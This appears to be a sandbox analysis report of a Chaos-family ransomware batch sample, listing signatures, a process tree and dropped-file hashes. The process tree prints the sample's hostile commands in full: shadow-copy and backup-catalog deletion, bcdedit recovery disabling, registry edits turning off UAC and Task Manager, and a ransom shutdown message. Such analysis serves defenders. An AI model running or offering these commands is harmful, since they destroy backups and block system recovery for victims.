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09/08/2024, 10:23

240809-metkyatbna10

09/08/2024, 09:59

240809-l1gmtstanf10

Analysis

  • max time kernel
    113s
  • max time network
    127s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09/08/2024, 09:59

General

  • Target
    source/TrojanRansomCovid29.bat
  • Size 1KB
  • Sample240809-l1gmtstanf
  • SHA256 b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

  • Chaos Ransomware 2 IoCs
  • UAC bypass 3 TTPs 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Drops startup file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 34 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 7 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\source\TrojanRansomCovid29.bat"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1424
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\source\fakeerror.vbs"
      2⤵
        PID:3068
      • C:\Windows\system32\PING.EXE
        ping localhost -n 2
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:788
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:232
      • C:\Windows\system32\reg.exe
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:2096
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:3224
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:1436
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:5036
      • C:\Windows\system32\reg.exe
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        • Modifies registry key
        PID:3960
      • C:\Windows\system32\reg.exe
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        • Modifies registry key
        PID:2644
      • C:\Users\Admin\AppData\Local\Temp\source\mbr.exe
        mbr.exe
        2⤵
        • Executes dropped EXE
        • Writes to the Master Boot Record (MBR)
        • System Location Discovery: System Language Discovery
        PID:4856
      • C:\Users\Admin\AppData\Local\Temp\source\Cov29Cry.exe
        Cov29Cry.exe
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2376
        • C:\Users\Admin\AppData\Roaming\svchost.exe
          "C:\Users\Admin\AppData\Roaming\svchost.exe"
          3⤵
          • Drops startup file
          • Executes dropped EXE
          • Drops desktop.ini file(s)
          • Sets desktop wallpaper using registry
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2904
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:5008
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              5⤵
              • Interacts with shadow copies
              PID:4464
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3900
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3732
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2692
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled no
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:4296
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4700
            • C:\Windows\system32\wbadmin.exe
              wbadmin delete catalog -quiet
              5⤵
              • Deletes backup catalog
              PID:2348
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
            4⤵
              PID:3728
        • C:\Windows\system32\shutdown.exe
          shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2820
        • C:\Windows\system32\PING.EXE
          ping localhost -n 9
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3804
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2328
        • C:\Users\Admin\AppData\Local\Temp\source\Cov29LockScreen.exe
          Cov29LockScreen.exe
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:700
      • C:\Windows\System32\PickerHost.exe
        C:\Windows\System32\PickerHost.exe -Embedding
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:1340
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
      • C:\Windows\system32\wbengine.exe
        "C:\Windows\system32\wbengine.exe"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1448
      • C:\Windows\System32\vdsldr.exe
        C:\Windows\System32\vdsldr.exe -Embedding
        1⤵
          PID:4752
        • C:\Windows\System32\vds.exe
          C:\Windows\System32\vds.exe
          1⤵
          • Checks SCSI registry key(s)
          PID:4612

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              Cov29Cry.exe

              • Path C:\Users\Admin\AppData\Local\Temp\source\Cov29Cry.exe
              • Size 103KB
              • SHA256 b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a
              • MD5 SHA1 SHA512 SSDEEP

              fakeerror.vbs

              • Path C:\Users\Admin\AppData\Local\Temp\source\fakeerror.vbs
              • Size 144B
              • SHA256 f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22
              • MD5 SHA1 SHA512

              mbr.exe

              • Path C:\Users\Admin\AppData\Local\Temp\source\mbr.exe
              • Size 1.3MB
              • SHA256 9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e
              • MD5 SHA1 SHA512 SSDEEP

              covid29-is-here.txt

              • Path C:\Users\Admin\Desktop\covid29-is-here.txt
              • Size 861B
              • SHA256 dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52
              • MD5 SHA1 SHA512

              memory/2376-15-0x0000000000D80000-0x0000000000DA0000-memory.dmp

              memory/4856-16-0x0000000000400000-0x00000000004D8000-memory.dmp